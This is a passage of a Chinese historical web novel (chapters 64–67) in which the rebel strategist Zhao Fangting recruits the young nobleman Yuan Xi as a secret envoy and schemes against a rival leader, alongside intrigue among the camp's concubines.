那丫头是新近下户里选上来的，说是雇，实则给了几个钱，便如采买一般，才十岁上，不大懂事，闻言一拍脑门，又退出去跑了；一会儿再来，后头却领着一湖蓝锦罗裥衫之人，白脸无须，活泛的两只眸子，依旧腰间别着一支碧玉笛，一副酸溜溜的书生气。 “说是赵大官……” 养娘话未说完，早见折柳蓦地站起身，妆粉差点洒了一裙。 赵芳庭一揖首，笑道，“许久不见娘子如此热络，稀奇稀奇！” “你怎么来了？”折柳虽妆了脸面，却尚是睡时垂髻，倒有几分素日青罗帐里慵懒相对的情形，只是神色十分紧张，“你……你来是何事？” 毕竟在旁人眼目之下，她总不敢透露底细，更不敢提单铮半个字，只得拿眼色示意他。 赵芳庭仿佛没收着那目光似的，从从容容道：“只因我前些日逢着一个你的故旧，想着你也许在意她的死活，便特来告知一下。” 他二人在庭院里说话，那养娘便托腮在一旁廊檐下百无聊赖地听。 对话倒也没甚稀奇的，只是他觑着她脸面，惊讶问这脸上一道两寸长的疤是怎一回事；她又侧过头去，有些尴尬，说是挨着了一下那人的鞭梢。 便冷场了一刹，那姓赵的大官人不笑了。 接着又谈到一位应娘子。小养娘觉得纳闷，这折柳娘子对自个儿的事总也不上心，怎么在听着那叫” 应怜“的娘子时，却抹着胸口，道了声“阿弥陀佛”。 接着就无事了。小养娘把这些听得懂听不懂的话记下来，到了晚间，鹦鹉学舌般说与另一屋中那白露娘子听。 白露娘子听罢，照旧赏了她一把枣儿，小养娘便欢天喜地走了，一边啃着枣儿，一边回屋给折柳娘子铺床。 到得屋里，折柳问：“你这枣儿谁给你的？” 小养娘吞吞吐吐：“我、我自己捡的。” “哦。”折柳神色淡淡，转头又问，“你今日见着白露了么？她可曾说什么？” 她手里抓着把瓜子。小养娘时常也得她的好处的，见了便又欢喜起来，霎是没心没肺，张口便答：“见了、见了！她说‘真晦气’！” 折柳噗嗤一声笑，招招手叫她来，把瓜子满满塞进她白胖胖的小手里，叫她回去了。 赵芳庭火急火燎地从江宁府赶回来，当真回了，却又不急了，三天两头与众首领大宴小宴，尤其是同林江啸两个结义兄弟厮混一起多，又透露了个令人振奋的消息于他二人：近日招揽得一位顶天立地的英雄，不日即将来到太湖，与他几人共襄大事。 孔奚先问：“那是何等样人？可曾与单将军有旧？” 罗大王又问：“你说他是顶天立地的英雄，想来必有一番大志向了！” 赵芳庭笑得滑不留手，劝他二人酒，又一个一个作答：“他从前是五台山的僧人，志向不在红尘之中，本是要作个高僧大德，与咱们自不是同一条道儿上的，哪里会认得他单铮？连我也不能尽改变他的心意，他说得分明，不忍见苍生困厄，待大事成后，还要回他的五台山修行，避世隐居。” 罗大王心情舒畅，孔奚也连连点头，三人举杯共饮，觥筹之间，其乐融融。 不日，李三郎多方探听得些消息，报与赵芳庭听。 “大船两只，各载五百人；中船十只，各载二百人；小船百只，半数为征调渔船，共计可载五六百人；战马五百匹，骑兵二百人；大小军将二十余人，主帅姓黄，名唤仲骕，本是个湖州签判，文人而已，不通兵法武艺。”他顿了顿，有些摩拳擦掌，“他因占了吴县，望见咱们弃城而走，以为咱们溃逃，便围追堵截；到了太湖畔，又发兵来过两回，俱被咱们打得落花流水，如今便一时不敢再攻，怕败绩报进京中，吃罪朝廷。” “到底不是长久之计。咱们需得想个法子，教他撤了兵，否则我这头闹内讧，他却趁机而入。”赵芳庭道。 思忖良久，一拍掌，“有了，我何不来个借花献佛、两全其美！” 说着将一脸怔愣的两人招在一处，附耳商议了一阵，听得两人连连称好。 “只是这牵线之人需得是个机敏忠心、且在那头营里也能说上话的，这却难找。”商议毕了，钱美道。 赵芳庭点头，“好在这计策不急于一时，咱们私下里多寻看寻看。若真踅摸不到合适人选，我亲自走一趟。” 这些事，依旧瞒着单铮。 天不负苦心人，几人在府署内外搜罗了好几日，真就搜罗出一个可心意的人才。 此人姓元，是个少年郎君。钱美报说他本欲往江宁去，却在扬州去江宁的途中被几个斥候拿住，见他形容举止不俗，更兼一身绫罗锦绸，身边还有一男一女两个侍奉的家人，以为定然出身富贵，携金银在身，便贼匪习气复萌，想要劫财害命了事。不想那头报出家门，道是什么洛京元氏子，来头不小。喽啰们不敢轻易下手，索性捆了交与头领；那元郎君这才得以活命，待见了首领，说上几句话，尤其是林军师在旁观瞧，爱极了他一身人品才气，想要收为己用，便再不教人为难他，更为择了一个居处，妥善安置着，纵哄不得他来投效，日后写封信上京中，索他家个几十万贯，也不吃亏。 赵芳庭听了这些，点头说不错，“洛京人、文采学识非俗、出身大家，去到他营中，那姓黄的必另眼相待。只是一点，他如今尚不是自己人，怎么样想个法子，教他投了我……啧啧啧啧……” 啧了半晌，忽心眼一动，问钱美，“你说他姓袁，叫什么……袁西？哪个袁、哪个西？我怎么仿佛哪里听过？” “元日的元、伏羲的羲。”钱美道，“有个字，叫墨池。他说的那洛京元氏，我不是洛京人，不大晓得。” 赵芳庭好一阵琢磨，将这两字翻来念去，末了醍醐灌顶，乐得跳了起来，“我就说这名儿听着熟，我想起来了，他可不就是那应小娘子既定的夫婿么！我为了赚宗契，特特使人上京寻访的——洛京元氏第四子，元羲元墨池，年十八，貌秀美，就是他！再无差错！” 那二人惊得傻笑了起来，俱道：“便如此赶巧？竟是半个自己人！” “足以见老天也成全咱们大事！把个再称心不过的人才送来！”赵芳庭抚掌，冷静下来后道，“不过我得亲去见他一见，探一探口风，不知他对那应娘子还有几分情谊。他若越挂怀，我这钩儿便越稳当。乖乖，我小瞧了应娘子，她果真是个宝贝！” 第65章 第65章与君分鸾镜，高价再难寻…… 范碧云正伺候元羲写字。 说是伺候，实则她研了墨、奉了茶，再也无事可做。元羲也不指使她，只凝神静气，笔毫落下苍玄筋骨。每当此时，他挥毫他的，范碧云便好略微大胆地窥瞧他一身清逸风姿。 他写字时的专注劲儿，真真令人移不开眼目。 范碧云便想起这些日地下一脚、天上一脚的日子，实是波澜不定。 他们从扬州出发，本欲去往江宁，途中却不巧撞上一行贼寇，除了元平跑脱，她与元羲两个都被捉了住，到如今扣在这贼兵盘踞的府署里，虽那伙强人瞧在他高门清贵的面子上，倒也以礼相待，却始终不松口放他们走。 但若说一味担心受怕，也并不是。至少这些日来，她自觉与元羲亲近了不少。 “成了。”那头元羲搁了笔，向一旁怔怔望着他发呆的范碧云道。 她一回神，惊觉自己直眉楞眼瞧人的模样不怎么雅，微红了红脸，过来瞧那字帖。 这是前日里她求元羲为写的一副字。只因她粗识几个字，笔下功夫却浅陋，若想与他说得上话，需得从这处多入手。 纸是上好的澄心纸，墨是传名的潘翁墨，却不是贼营中所有，是他自一路从家中带来。一副纸墨，便抵得千金，可见家大人爱重甚多。 范碧云眼也不眨地盯着纸上字迹，墨痕尚未干透，她琢磨这一个一个字的意味，丰厚腴润、规整沉稳，说不出究竟哪里好，但觉字字如珠玑。 “此是颜真卿《多宝塔》中一节，最宜初学临摹。你若想学字，临这一副便可。”元羲道。 范碧云笑颜说好，又赧然道：“我这手拿惯了针线，素来在布帛上多、纸上却少。也不知如今纸上写字，可比得布帛柔软。” 她伸出手来，秀白纤纤，露在元羲跟前。元羲却只观之如观草木，扫一眼便别过头去，已开始洗笔晾砚。 “只要心中有写字的念头，持之以恒，写在何处俱是无碍的。纸上、石上、壁上……”他收拾笔墨间，说到此顿了顿，不知心想到什么，略略抬头，瞧了瞧窗外生出新叶的一株浓荫芭蕉，出了会神。 范碧云伶俐性情，见状讶异道：“怎么，树上也能写？” 元羲笑了笑，没说话。 范碧云又抢来为他拾掇。他道了声谢，便也没与她争，只是廊下庭院里闲坐了。 那芭蕉新叶碧嫩可爱，迎风曳曳、抽条招展。他便忆起前几年，她还小时，两人院中闲话，他道家中新买的纸不如往昔的好，写来总觉笔锋凝涩，那字便肌骨粗笨，因此教人还往从前那家墨宝铺子采买。 她却道：“你怎么写不好字，偏来怪纸？岂不闻前朝僧怀素芭蕉上也能练出传世的狂草！” 他比她长两岁，却得了这一通嘲笑 ，总不服气，便拉着她去庭院角落里一株再高大不过的芭蕉树下，拿笔墨来写，欲教她比一比，他比之早已作古的怀素又如何。 只是未想那芭蕉叶无凭，不若纸在几案，写来总一摇一摇，着力也变得轻浮起来，写就一篇，歪歪扭扭，笔划如银蛇蚯蚓，更招了她一番笑话。 她才豆蔻，他却初闻了情意，两下里门当户对，又早知家人欲为结两姓之好，便瞧她愈发欢喜，芭蕉树下，心中再难忍，面红耳赤来拉住她的手。 只是她全然懵懂，半晌等他开口等不到，便挣脱出来，将那手在绢帕上擦了擦，有些嫌弃，“怪热的，你手心里全是汗。” 元羲向来晓得，他们总要成连理的，便不急于一时，总想着等她大了，就知羞了。 只是如今她音讯杳杳，他却陷在贼营里，他两个也不知隔了几重天南海北，再见又能几时。 正郁郁难解，见从外而入一人，瘦削的身量，文人打扮，却含着股说不出的匪气，矛盾极了。他刚起身迎向，那人却一揖，向他行了个礼。 他仿佛认得他似的。元羲不解，还了礼，又不着痕迹打量了几眼，确信此前从未相识。 那人先自报家门，“我是此间一个幕僚，姓赵，名芳庭，字玉笛，久闻元郎君雅名，特来相见。” 那头范碧云早已见得，晓得他们要叙谈，已摆布上香芬的茶汤，又博山炉中投了一点芍药香，幽幽袅袅中，果见二人入室叙起了话来。 她自避退，却心中好奇，便躲在廊下窥听。 那赵芳庭道：“敝人浮浪无所，曾寓居洛京，因此闻郎君才名，如雷贯耳。恰巧前些日才归，闻听郎君竟下榻敝处，喜不胜喜。” 好一个“下榻”，分明是扣押，他说话竟不脸红。范碧云暗暗唾弃。 她也多方比较过留在此处与随元羲回洛京，哪样更称心意，最后得出结论：各有各的长处。 身陷贼营，说起来名头不好听，平日也得担心担心自家安危，却能与他抬头不见低头见； 若随元羲回京，安稳是安稳了，也能得见富贵，但料想他家显贵门庭，自然少不了僮仆女使前呼后拥，到时她再想与他两个独处也不能了，只得沦为个再卑微不过的婢子之流。 凡事总不能两全。她暗叹一声，听元羲里头客气几句，赵芳庭却似有正事，单刀直入。 “今日我见郎君，不全为寒暄，也为着一人。”赵芳庭言语如常，“恕我交浅言深，郎君心中，可还记挂着一个应娘子？” 元羲怔住，好半晌没见动静，忽一惊，竟失态站了起来，“你、你怎知晓她？” “想来是记挂了。” “她是我未过门的妻子，只是、只是……”元羲说到一半却顿住，望向他，眼底犹疑，“你提她作甚？” 赵芳庭却笑了，慨叹道：“郎君不必紧张。我前些日去到江宁府，本为着私事，却因缘巧合，识得了一女娘，闻说她姓应名怜。也是事有凑巧，我先于洛京，听闻过你两家的姻缘，所以存在心中；今日见了你，可不是上天教我做个破镜重圆的媒人？” “你见着她了！她在江宁？她如今还在么？”元羲紧走两步，绕过厅堂桌案，来到赵芳庭跟前，早已不复素日冷静清雅的模样，连声追问，“兄可为我成全，见她一面？我此行南下，全为着寻她，若真寻见她，死也无憾了！” 他说着，眼竟微红了一圈，晓得自己失态，勉强压下了，焦灼地盯着赵芳庭。 不想赵芳庭却摇了头，“此间事复杂难料，我想放你，却有心无力。连我自己如今也朝夕难保，又怎么成全你与她？实话与你说了吧，我非啸龙将军的心腹人，乃是‘赤发狻猊’单铮一系，如今啸龙将军忌惮我单哥哥威望日盛，一心想要拿他的错处。这节骨眼儿上，我又怎能与他添乱？放走了你，平白落人口舌。” 元羲皱眉不语，此前并未听过这等勾心斗角的事，想不到贼众里竟也有派系之争。 “我此番来，一是为了与你报平安，二也想借你个人情。我想这事你若办得，与她便可团聚，届时你们是走是留，可随心所欲。”赵芳庭一口茶喝下，却苦笑了一声，“这事也唯有你能办；且为着应娘子，也必定得办。” 元羲愈发不解，问：“是什么样事？” “入太湖对岸的禁军营中，寻他主帅黄仲骕，向他呈明——我等已苦啸龙将军残暴久矣，愿奉上他项上人头，并散入山林，再不反叛。唯请主帅收得贼首，班师回京，不再对我等苦苦相逼。”赵芳庭道。 元羲暗吸了一口冷气。 谁也不愿平白卷入这场纷争，于性命有碍，又于声名有损。他不由又问：“兄想遣我作使，为你说项，可为何说是‘为了应娘子’？难道这事与她又有什么干系？” 赵芳庭道：“想来你不知我怎样遇着的她。我此去江宁，本为寻一旧友，是个有德行的僧人，法名宗契。正是他一路保着应娘子，辗转南北，才使她渡尽艰难。他不日即将来我营中，只是那啸龙将军与他手底下人最是荒淫不过，我真担心，若是教他们见着应娘子，不知又会生出怎样的贪心来。我那友人虽是个英雄，却也一人难敌千军，未必还能护得住她。” 他说完，果见元羲呆了半晌。 赵芳庭面上是苦大仇深，心里却安稳得如泰山。他晓得这钩儿放得又稳又准，吃定了这少年人。 元羲年少，却并不糊涂，甚而比常人更加心性聪敏，几下思想，便想通了关节。果然如同赵芳庭所说，说项一事，非他不可，他也非做不可。他们互有所需——赵芳庭需要他这样身家清白、门庭显贵的人暗通黄仲骕，除敌投诚；而他则得做成这事，为着应怜身入贼营，不致受辱，且他能从容带她离去。 当下再不犹豫，他果断应承此事。 接下来便又互通了一些细节琐事，愈发觉着赵芳庭此人，虽名为贼，却处处谨慎精细，行一步知三步，是个不容小觑的人物。 二人商定了细节，赵芳庭成全了一件心事，便格外地舒泰，不多时，便起身告辞。 直待此时，元羲这才犹疑开口询问：“方才你说的那宗契僧人，他既为僧，为何又带着惜……应娘子？难道不怕名声有损？不怕人非议他……包藏祸心？” 赵芳庭心中暗笑，本也想着他能憋到何时，果真听他有此一问，早已把小算盘打得啪啪响，嘴里一通正经胡说八道：“你怎能作此想？宗契是我旧友，他的人品我再清楚不过了！出家人见美色即是空，他护应娘子一路，只不过为报曾经恩惠罢了，如今他两个早已结成异姓兄妹，月明风清，哪里来半点非分之念？你若不信，待他们来了，你自暗中观瞧，看我说的是也不是！” 他言罢不再逗留，告辞离去。剩元羲送到门口，望背影消失不见，这才折返回来，依旧面色淡淡，只是廊庑下范碧云瞧着，怎么看怎么有些魂不守舍。 有些人真是好命。范碧云心中酸溜溜的，忽生了些苦涩。 她自认不是个善妒的人，女子在世，本就艰难，“妒”并不能教她好过一些。若应怜喜欢她，能带得元羲也多看重她一二分，那她是很愿意拼应怜的欢心的。 只是人与人为何如此天差地别。她费尽心思，百般讨巧，盼这谪仙一般的郎君能多青睐她一眼，却始终也抵不过旁人三言两语，哪怕提起“应怜”二字，也能勾去他全副的心神。她近在眼前，他却全然不见。 她默默地收拾茶盏，听元羲半晌道：“我不日将走一趟，你且安住着，待那头松了口，你若想回家，便可回家。” “我不回家，我娘已将我卖了。郎君容我一席安身之处，我便跟着郎君。”收拾毕了，她垂了眉眼，将几案上墨迹已干的《多宝塔》帖小心翼翼地收起，往日必要再说上几句，表表衷心；这一会搜肠刮肚，却再找不出半句妥帖贤良的话来，只得立住了瞧他一眼，心中叹了一声，踏出了门。 元羲并未察觉她目光，只是敞了窗，望庭院曳来芭蕉一角，腹内想着自己的心事，伫立良久。 赵芳庭遣了一艘渔船，掩人耳目，借着太湖里捕鱼的名头，偷摸将元羲送出去，等了两天三夜。 期间，钱美疑过此事，问：“若他一去不归，或更甚，反泄密与敌，来个将计就计，咱们岂不要被一锅端？” “我看人常不出差错，那元郎君不是两面三刀的脾性，况他心有所系，有求于我，不会出尔反尔。”话虽如此，赵芳庭并无九成九的把握，因此做了两手准备，“咱们密切监视对岸动静，他营中若部 署反常，咱们便放出风去，道他元氏子已投敌叛变。如此一来，敌将有所疑，便不会用他计议。” “十八，你这招可阴损！”钱美道，“风声传出去，便是杀他全家！” 赵芳庭一哂，“那是皇帝老子的事，与我何干。” 自然，林江啸那头也时刻关注着，因此他一举一动，赵芳庭皆有所闻。 元羲离营，前后脚的功夫，赵芳庭打听得一件不大不小的事：罗大王溃败而归，到如今大半个月，竟有小股旧部残众来投，据说五六十人，带头的是个幕僚，姓王，名渡，字舟横。 “王渡？幕僚？”赵芳庭便说了一嘴，表示从未听过此人，“或是新近来投的。他什么根底？哪里人士？” 李三郎是与人吃酒时听了一耳朵的，谈听不到那样详细的底细，便摇了头：“据说是个用度讲究、与人和气的，想来从前有些家底。可要我再去打听打听？” “若不是什么要紧的人，便不要动那么大的阵仗，时时观瞧着就好。”赵芳庭道。 他这头第一急等的还是元羲，盼了两三天，终于盼到人，依旧是一蓬小渔船载归，到得无人处，先报喜讯。 “成了。”元羲还是去时一身粗衫，与寻常渔子相类，气度却高华不减，光彩更甚，因说成了两下里的和议，言语里不自觉带出些喜色来，“那黄将军与我家有些瓜葛，他原是家父一个同年的门生，我道从洛京而来，他便十分相厚。” 说着又将详细光景道来，娓娓从容。赵芳庭一边含笑听着，一边点头，心中不由得对此人刮目相看，心道真有些口才本事。如今他年岁还不大，是璞玉浑金；若再历练个几年，堪为大用。 元羲又给了他一个惊喜，“我已说成黄将军，若依计行事，他得了实惠，便遗下战船三五只、良马几十匹，以结宾主之好。” 饶是赵芳庭江湖里老练惯了，也听得张口结舌，顾不得那头欲给哪号的战船，战马究竟多少匹，吃了一盏茶压惊，好半晌罗列出话来：“他莫不是教门夹了脑子？哪有主动予敌资财的！” “不是这么说，”元羲在这点上就比他通透，点拨了一句，“全须全尾地回去，反要遭人猜忌。” 于是就成全了赵芳庭。他恍然大悟。 只是他内心好奇，也想问一问元羲个究竟，“你知道咱们一行人在朝廷眼里，算是反叛吧？” 元羲默然。 赵芳庭罕见地有些难为情，咳了咳，和颜悦色向他，“郎君实在出乎我所料，如此为我义军着想。只是我声势愈壮，你们那头便愈岌岌可危，你实在不必动摇你家的根本，能说成此事便已不得了了。” 他原只要五十，元羲却给了一百，如此舍己为人，教赵芳庭如何不感动。 元羲仍是沉默，这一回更久，再开口时，不知心内转了多少千肠百结：“我有我的私心。若你们真有那造化，在圣人跟前也能说得上话，我许有求于你。” “为你那岳家？”赵芳庭挑挑眉。 少年人毕竟藏不住心事，被一言点中，无话可说，只得不由衷地笑了笑。 赵芳庭嘴上说：“好，我必成全你！” 心里想着：怎么弄，他看着比寻常纨绔子弟更长情一些，也不知往后那应娘子好不好一人许两家。 …… 第66章 第66章求名逐利，为节为义…… 赵芳庭不紧不慢地收他的罗网，万事七八分备，只欠一把东风，教那林江啸火烧眉毛，先忍不住龇出獠牙来。 正盘算着向哪儿借东风，要么干脆还委屈委屈折柳，忽一日，这风却自己送上门来。 有人私下来访他。 “敝姓王，单名渡，字舟横，特来拜会赵将军。”此人道。 赵芳庭摸了摸腰间那支溜滑水润的碧玉笛，身不动，眼却早已扫量了这人好几圈，末了慢慢挑出个笑来。 这几日关乎他的事，他都听了一耳朵。流言蜚语向来传得飞快，便不用钱美通风报信，他也听闻得这王渡的一二事迹来。 道他原家赀万贯，也不知被哪伙强人一扫而空；道他停妻别娶，结果才娶的那新妇是个和贼子串通的浪**人。 桃色艳情一贯勾人耳目，传扬得最多的还是他一怒之下杀妻来降之事，虽事出有因，到底有些瑕疵。 赵芳庭晓得传闻向来真假难辨，单看其人，倒是颇有名士的风采，与罗大王之流迥异。 王渡并不拐弯抹角，几句寒暄后，切入正题：“我虽投奔的是啸龙将军，但几日来见他营中情形，恣意享乐、喜怒随心，非我所盼明主。良禽择木而栖，我愿投单将军帐下。” “先生此言谬矣，”赵芳庭不动声色，却请人由自家庭院入了厅堂内室，道，“啸龙将军与单将军本就是一家，何分彼此？” 王渡道：“军中上下多有非议，皆知二位首领貌合神离，将军又何必明知故问呢？我自知根底浅薄，一时难以取信于您，但望将军日后见我剖露丹心而已。我今日来，为着一事相报——啸龙将军已与部众商议南归。他起自巴蜀，旧部也多为巴蜀、荆楚的流民，这本无可厚非；然如今义军之中，江南江北之人已足半数，必不愿远去巴蜀。届时军心不定，内乱必起，义军危矣！” 赵芳庭面上不显，却暗自心惊。这事他丝毫不知，想来是林江啸与身边人密议，全将单铮一干人摒除在外。 再深想一想，王渡这话未必是假。林江啸是巴蜀人，家乡赋税太重，过活不了，只得结成流民，向北而逃；如今他拉起义军，赚得些家业，既见反叛前途未卜、九死一生，便思归故乡，回到蜀中，借天险盘踞巴蜀，做个土大王，安安稳稳一世荣华。 这样“好”商议，别说单铮，连他赵芳庭都忍不了。 他思忖沉吟，一时未开口。王渡却也不急于一时，此来先认个脸熟，卖了个好，又谈论了几句，晓得久留徒惹旁人起疑，便起身告辞。 赵芳庭送至门口，热络了几句，直待人走了，才慢慢踱回屋里，心里渐渐勾勒出成型的一团东风来。 先前元羲与那头早已商定好，四月中旬，黄仲骕发兵来袭。 阵仗闹得喧嚣，又是水战又是陆战，实际却只不过虚晃一枪。双方才交锋没一个时辰，那头便鸣金收兵，浩浩荡荡的禁军如潮水涌来，又铺天盖地地退潮奔走。 林江啸与单铮同坐镇中军观战，闻得捷报大喜。林江啸正欲亲自领兵追击，却被一旁赵芳庭拦下，“穷寇莫追。他与咱们对峙已数月，咱们只合鲸吞蚕食，并不能一口吞下，见好就收罢了。” “我也觉这一回阵仗有异。彼军虽败，却不溃散，想来军心不乱，不宜穷追。”单铮微眯着眼，端坐马上，指点敌军逃散方向，见扬尘漫天、杂乱声势如海，皱了皱眉。 林江啸可以不听赵芳庭的话，却不能不顾忌单铮，勉强压下了追击的冲动，点点头，命己方鸣金，清扫战场，清点获物。 林江啸与单铮并辔勒马，各自身后带着各自的心腹。赵芳庭也骑着一匹战马，位置有些微妙，正在两拨人之中，身边即是新来的王渡。两人环望间，彼此交错了一眼，什么话也没说，却已是心照不宣。 战场获胜，自是要庆贺的。 因此义军中上下排布，大宴小宴贺了一日。本是一件喜事，席间却有那孔奚提出尊奉林江啸为义军共主的话来，单铮这头势力也不孤单，人众足数，自然话中软硬不让，一晌闹得不欢而散。 宴散后，王渡又来寻了赵芳庭一次，谈起共主一事来。 王渡道：“天无二日、国无二君，往昔义军声势不大，两个首领并重，无可无不可；如今咱们越发壮大，啸龙将军与单将军之间矛盾积重，必要分出上下。不如想个法子，争上一争，比出个共主来，教两方都心服口服。” “话是如此，只不知怎么个比法？”赵芳庭道。 他二人虽说着比出个共主，心 中却只定了一个人选——单铮。 林江啸与单铮的高低落差，明眼人一见即知；况又有那南归之事，渐渐而风声传出一二，生长于吴越乃至北地的将士，是没一个愿远去巴蜀山高岭险的。 赵芳庭只管望着王渡讨要法子，王渡却不肯上套，投效归投效，毕竟大主意还得赵芳庭这头拿，便来了个一推二六五，“怎样比试，需得您多劳心。两位将军俱是武将，自然是武比。这拿刀动枪的事，一个不慎便易出差池，我人微言轻，不敢决断。” “差池”二字，惹人遐想。 赵芳庭意味深长地看了他一眼，点点头，“这决断一时难下。你容我回去细想一想，若想出好法子来，咱们再行下一步。” 说完了公事，赵芳庭又好奇起他私事来，敲边鼓地问：“风闻你曾娶了一新妇，只是美事不谐？” “赵将军是想问，外头传言的敝人杀妻一事？”王渡径为他挑明，叹了一声，道，“谣言不可信。我实未害她，只是罗大王逼迫至此。她也并未丧命，不过教一铁面的将军带了走。我如今日夜悬心，也不知那人什么来头，据说他也是新来投的一人，想来早晚要归，到那时我夫妻或还有团圆的时候。” 铁面人来投时，赵芳庭仍吴地江南到处行走，并未见得，只是听闻有此一人，没想到还与王渡有这样的纠葛，不禁啧啧叹道：“竟有这样一桩离奇的事！那妇人想是不贞，她若当真来了，你还要她？” 王渡苦笑，“将军何出此言？她是我明媒正娶的妻室，我怎会不要？” 赵芳庭点头。 两人又谈了一会，无事便各回营而去。 至晚，钱美与李三郎来议论琐事，闻听王渡又来，各自若有所思。 钱美先问：“十八，他这人根底不知，当真信得过？别是那头用的反间计！” “你管他是或不是呢，咱们如今与那头渐如水火，那孔奚前日宴上敢将咱们一军，未必不是林江啸授意。王渡这人，咱们且先用着。”赵芳庭道，顿了顿，而后却又添了一句莫名的，“他是个文士，有文士的通病，最爱惜名声。这样的人，与罗大王、孔奚之粗鄙贪暴是合不来的。” “爱惜名声？”李三郎哂笑，道，“我时常到营里转两趟，如今大家都作笑谈，背地里管那王渡叫‘小吴起’，可见名声之臭。” “私德大节不可混为一谈。”赵芳庭摆摆手，且略过这一节，谈起比试论高低的事来。 钱、李二人没那许多弯弯绕绕，觉着这提议可行。只是林江啸善刀善射，武艺也堪佳，单铮与他相较，未必有十分赢面。 赵芳庭却道：“他二人对上，各自只有五分胜算。我单哥哥是有三分胜算就敢赌一把之人，他林江啸却没那胆气，若是有机会，必定趁机耍那鬼蜮伎俩……” 他说着说着，又在心中盘算起来。 钱美听懂了几分，一抚掌，有些恍然，“如此一来，咱们便能抓着他戕害兄弟的把柄，人心所向，便尽倒在咱们这一边！” 赵芳庭也不知想到了哪里，忽而长舒一口气，目中透露了些拨云见日的神采来，点点头，“正是如此。咱们便索性做个局，林江啸若不仗义，便教他往陷坑里跳。我已有七八分眉目了。” 几人在内室，嘀嘀咕咕商计了半天。 四月春暄芳菲，街巷里时常已有挑担卖花人叫唱之声，百十种清香幽雅，隔墙散入，惹得男女老少纷纷求索，也争向鬓边戴一支春。色。 白露素日也爱遣人挑挑拣拣，今日却不必，只因有人送了好大一篮子来，有芍药、有瑞香、有牡丹、有杏花，带朵带露地挤在一处，清芬流得满手满身。 送花的人忝着笑脸向她，道：“我特特挑了最好的送与你，你可中意？” 白露清晨妆罢，顺手捡了一支芍药在髻上插了，妖妖娆娆一双细柳眼，也似含情、也似无情，将花瓣上朝露点了一点，向他臂上，待那人心痒来捉她手时，她却又抽身而退了。 “你就不怕他回来？”她启唇轻笑，心底掩下些厌烦。 大清早搅她美梦的，正是罗二郎。此人外厉内荏，对势不如他的最是会耍横，今日趁着林江啸去了城外营中，晓得他巡营至晚方归，便摸进她房里，想揩香鬼混。 只是白露近日过得好了，便不耐烦伺候这样黝黑粗蛮的汉子，心里不喜，想找个由头打发了他，便道：“我今日身上不妥贴，平白坏了大王的兴。你莫急，我寻个人来，与你消遣消遣，可好？” 说罢，也不管他，自顾自出到院里，使唤从人，“去寻折柳娘子来，就说我找她有事。” 旋身回屋，又被罗二郎搂定，连搓带揉了几把，弄得妆也散了些。罗二郎又笑，横肉在脸上抖索，“你肯成全我美事，那再好不过了！” 他对折柳正兴头上，只是那妇人贼精，三次里才有一次得手，更兼一次湖石里强拗着她行事，猝不防又被那单铮撞见，好不尴尬。因此连些时日折柳尽躲着他走，到如今也没见上几面。 白露祸水东引，内心窃喜，借着等人之机，只在院儿里懒怠，不肯进屋，徒等得罗二郎心火旺盛，恨不得就此拖了折柳进床帏里。 那头来人报白露找，折柳也不惊讶，只是微微冷笑，身子岿然不动，却唤身边小女使，“琥珀，你随去一趟，就说她上回欠我那二十贯钱尚未还，我怕见了她忍不住索债嘴碎，待她还钱了我再去……琥珀、琥珀！别吃了！” 蹲在外头廊下正啃果子的琥珀一惊来，回头脆脆应了一声。折柳只得又将话说了一遍，她便屁颠颠跟着人去了。 一盏茶功夫，又兴颠颠地回来，才进院，便招摇手里几张会子钞，叫道：“娘子！白露娘子还钱了！二十一贯！” 她胖蝴蝶似的飞进屋，将七张三贯的会子摆上桌。折柳瞧也不瞧，抽出一张把她，其余一股脑塞屉肚里去了，怔愣了一会儿，掰着琥珀两只手，从左到右嗅了嗅，哂道：“瑞香、牡丹、栀子，她好雅兴，买这许多花，竟一枝也不匀我。你再去，问她要一朵最最好看的牡丹来，我挑了冠上再去。” 琥珀最是一点好，再要跑腿的活计，她都不嫌累，闻此一声应下，存好了那张会子，蹦蹦跳跳出去了。 又是一盏茶功夫。 第二趟回，琥珀手里携了枝红艳艳、大蓬蓬的牡丹，每一片瓣儿都赛滴露一般鲜嫩，竟挑不出一丝儿毛病。 折柳接了花，问：“你去时，都谁在屋中？” 琥珀支支吾吾，说只有白露一人。 “哦，那么说，罗大王已走了，是也不是？”她随口问。 琥珀圆圆的脸儿光彩起来，连连点头，“是、是！他走了！” “……” 折柳捂着额，想了半天，叹道：“你再去一趟，说我就来，只是要妆扮一番。出来后去寻赵芳庭，就说……白露欠他五十贯，教他立时去拿，等一刻也不成！” 琥珀刚要去，折柳又将她叫住，改了个顺序，“你先去寻赵芳庭，再去回白露，记住了！” “记住了！”小养娘高高兴兴答一声，又走了。 第67章 第67章墙内佳人墙外笑 赵大官人却不在他居处，从人道也去城外营中了。 琥珀出来后便为难。按理说折柳娘子的话得听，她该 出城寻赵大官人的，只是她又不晓得怎么样出城；再且说白露娘子处也等着回信儿呢。 正犹豫时，穿堂的道儿上走过了一人。今日阳光甚喜，明媚镀在那人头上，便耀出一头殷殷烈烈的赤色来，眼眉浓蕴，是一副再壮伟英俊不过的样貌。他步子阔大，行径她身边时，却注意到有个小小的她，顿了顿，松缓了神色，问：“你不是琥珀么？” “单将军。”琥珀老老实实行礼。 正是单铮，偶经此过，却逢见折柳家的小女使，见她噘着嘴似左右为难，便多问了一句，“你不侍奉主人，在此作甚？” 琥珀道：“折柳娘子教我来寻赵大官人，说白露娘子要还他钱。只是我来时，赵大官人又不在……” 单铮听得皱眉，这话哪里都透着古怪。 “我家娘子催赵大官人赶紧去白露娘子处，又教我回白露娘子，说她一时便去。”琥珀年纪小，不经事，竹筒倒豆子稀里糊涂一番说，“我若去城外寻赵大官人，就无法速速回禀了白露娘子，这可怎么办呢！” 这才叫单铮勉强听懂了几分。 折柳此人，予他的印象不太好，那样轻浮的出身，跟了林江啸，又与他身边弟兄不清不楚。他前些日撞见过一次，眼见为实，是再抵赖不过的。 然赵芳庭及时归太湖的缘由，也正是她通风报信。 他因此对她有了个粗浅的看法：虽无节，却有义。 再一想琥珀的话，他心中乍然明白几分，便问她：“白露娘子是独自在家么？” 琥珀的心比单铮的步子还阔，心想了想，白露娘子只教她瞒着折柳娘子，又没教瞒着别人，因此答道：“罗大王也在的。” 便见单铮冷了脸色。 她有些怕，噤了声便要走，不料抹头才去两步，却被他叫住：“如此，你替我带个话，就说我找罗大王有事，教他速去署衙后校场。” 别人的话她兴许得犹豫一晌，单将军不同。折柳娘子素日里便与她说，要敬重单将军，单将军是个光明磊落的人。 因此琥珀满将他的令当做一回事，点点头，旋身便跑去了。 折柳这回等了不少时候，迟至近日午，才等到小丫头姗姗归来。 